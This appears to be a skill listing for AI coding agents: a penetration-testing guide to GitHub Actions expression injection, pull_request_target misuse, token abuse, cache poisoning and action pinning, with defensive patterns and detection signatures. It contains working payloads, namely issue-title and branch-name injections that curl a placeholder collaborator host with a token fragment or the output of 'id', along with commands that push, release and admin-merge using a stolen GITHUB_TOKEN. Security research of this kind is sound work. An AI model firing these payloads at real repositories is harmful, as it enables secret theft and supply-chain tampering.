# Github Actions Injection

> GitHub Actions ${{ }} expression injection — attacker-controlled context (issue/PR title, body, branch name, commit message) substituted into run: steps, unsafe pull_request_target + PR-head checkout, GITHUB_TOKEN scope abuse, artifact/cache poisoning, action tag-vs-SHA pinning.

- Skill: `purpleailab/github-actions-injection` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/github-actions-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/github-actions-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/github-actions-injection

---


# GitHub Actions Expression Injection

`${{ <expr> }}` is interpolated by the runner **before** the shell sees the line. If the expression sources from untrusted `github.event.*`, the substituted text is parsed by `bash` (or `pwsh`) as code — full RCE on the runner, with whatever token + secrets the job exposes.

## Untrusted context — the sinks

These fields are attacker-controllable in fork PRs, issues, comments, branches:

| Context | Source | Notes |
|---|---|---|
| `github.event.issue.title` / `.body` | issue create / edit | any logged-in user |
| `github.event.pull_request.title` / `.body` | PR create / edit | any forker |
| `github.event.pull_request.head.ref` | branch name on fork | `;` `$()` `\`` are valid Git branch chars |
| `github.event.comment.body` | issue/PR comment | broad reach |
| `github.event.review.body` / `.review_comment.body` | PR review | |
| `github.event.head_commit.message` / `.commits[*].message` | push / PR | newlines allowed |
| `github.event.pages[*].page_name` | `gollum` wiki | |
| `github.head_ref` | shorthand for PR head branch | same as above |

## Recon — find injection sinks

```bash
# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
  <REPO>/.github/workflows/

# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color
```

## Sink pattern — the vulnerable workflow

```yaml
# VULNERABLE
on: [issues, pull_request_target]
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - name: Echo title
        run: |
          echo "New issue: ${{ github.event.issue.title }}"   # <-- sink
```

## Exploit payload — issue title

Open an issue titled:

```
hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #
```

Runner expands to:

```bash
echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"
```

The shell runs `curl` with the first 12 base64-chars of `GITHUB_TOKEN` as the URL path. (PoC pattern — truncate; **do not** exfil the full token.)

## Branch-name injection

```bash
# Fork → create branch with a shell-meta name
git checkout -b 'x";curl -s https://<COLLAB>/$(id)#'
git commit --allow-empty -m bn
git push origin HEAD
gh pr create --title typo --body typo --repo <OWNER>/<REPO>
```

If any workflow does `echo ${{ github.head_ref }}` in a `run:`, the runner executes `id` and posts the result.

## `pull_request_target` + PR-head checkout

```yaml
# VULNERABLE
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }
      - run: npm ci && npm test
```

Two attack paths on the same workflow:

1. **Code execution** — fork edits `package.json` `postinstall` (see `poisoned-pipeline-execution/SKILL.md`).
2. **Expression injection** — fork edits its own workflow files? No — workflow files on the base ref run, not PR head. But any `${{ github.event.* }}` sink in the base workflow is still exploitable via title / body / branch name.

## Safe pattern (defender)

```yaml
# Pass via env, never interpolate directly
- name: Echo title
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "New issue: $ISSUE_TITLE"
```

`$ISSUE_TITLE` is expanded by `bash` only — shell-meta inside `$ISSUE_TITLE` becomes literal text. Note this still requires `set -u` or careful quoting; double-quote the variable.

## `GITHUB_TOKEN` permission abuse

If the workflow does not set `permissions:` explicitly, the token defaults to whatever the repo / org default is — historically `read-all` / `write-all`. With write scope you can:

```bash
# From inside the runner — push to a release branch via the token
git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY}.git"
git push origin HEAD:refs/heads/release/x

# Create a release
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA

# Approve + merge a PR (if `contents: write` + `pull-requests: write`)
gh pr merge <N> --merge --admin
```

Always check the effective scope:

```bash
# Inside the job — see what the token can do
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
```

## Artifact / cache poisoning

`actions/cache` keys are scoped by repo + branch. A PR job that restores a cache the base branch wrote can be made to write malicious content for the next base-branch run when `pull_request_target` is in play. Same for `actions/upload-artifact` followed by a deploy job that downloads + executes.

```yaml
# Smell — artifact used as build input without integrity check
- uses: actions/download-artifact@v4
  with: { name: build }
- run: ./build/release.sh   # <- if attacker poisoned `build`, this runs attacker code
```

## Third-party action pinning

```yaml
# Tag-pinned — silently movable by the action author or anyone who hijacks the repo
- uses: tj-actions/changed-files@v44

# SHA-pinned — immutable
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8
```

`tj-actions/changed-files` (CVE-2025-30066, Mar 2025) shipped a malicious commit retagged onto previously-trusted tags, exfiltrating secrets from every downstream consumer. Pattern recurs — assume every tag-pinned third-party action is a supply-chain risk.

```bash
# List every third-party action and its pin style across the org
gh api "search/code?q=uses+org:<OWNER>+path:.github/workflows" --jq '.items[].path' \
  | xargs -I{} gh api "repos/<OWNER>/<REPO>/contents/{}" --jq '.content' \
  | base64 -d | grep -E 'uses:\s*[^/]+/[^@]+@'
```

## Detection signatures

| Signal | Defender view |
|---|---|
| `${{ github.event.*.title \| .body \| .ref \| .message }}` in `run:` | static lint (actionlint, zizmor) |
| Branch name containing shell metas (`;`, `$(`, backtick) | pre-receive hook on the org |
| `pull_request_target` + `actions/checkout` with `head.sha`/`head.ref` | zizmor rule `dangerous-checkout` |
| Token scopes `write-all` w/ no `permissions:` block | repo / org default token policy |
| Tag-pinned third-party action | `dependabot.yml` action-update review |

## Tools

| Tool | Use |
|---|---|
| `actionlint` | First-line static check; flags 90% of expression-injection sinks |
| `zizmor` (woodruffw) | Rust-based audit, catches `pull_request_target` + checkout patterns |
| `octoscan` | Workflow scanner with PoC generation hints |
| `gh` CLI | Inspect runs, logs, token scopes, approve fork-PR runs |
| `gato-x` (praetorian-inc) | End-to-end PPE / expression-injection automation |

## Decision gate

1. Open the PoC issue / PR from a research account on a research fork; payload truncates the token to first 8-12 chars only.
2. Use `interactsh` / Burp Collaborator for the beacon. Do not POST the token anywhere durable.
3. Close + delete the issue, branch, and any artifact the run produced once the screenshot is captured.

## References

- GitHub Security Lab — "Keeping your GitHub Actions and workflows secure"
- "Untrusted input" sink list — github.com/github/securitylab/issues
- `tj-actions/changed-files` (CVE-2025-30066) post-mortem
- Synacktiv, NCC Group, Praetorian — Actions injection writeups

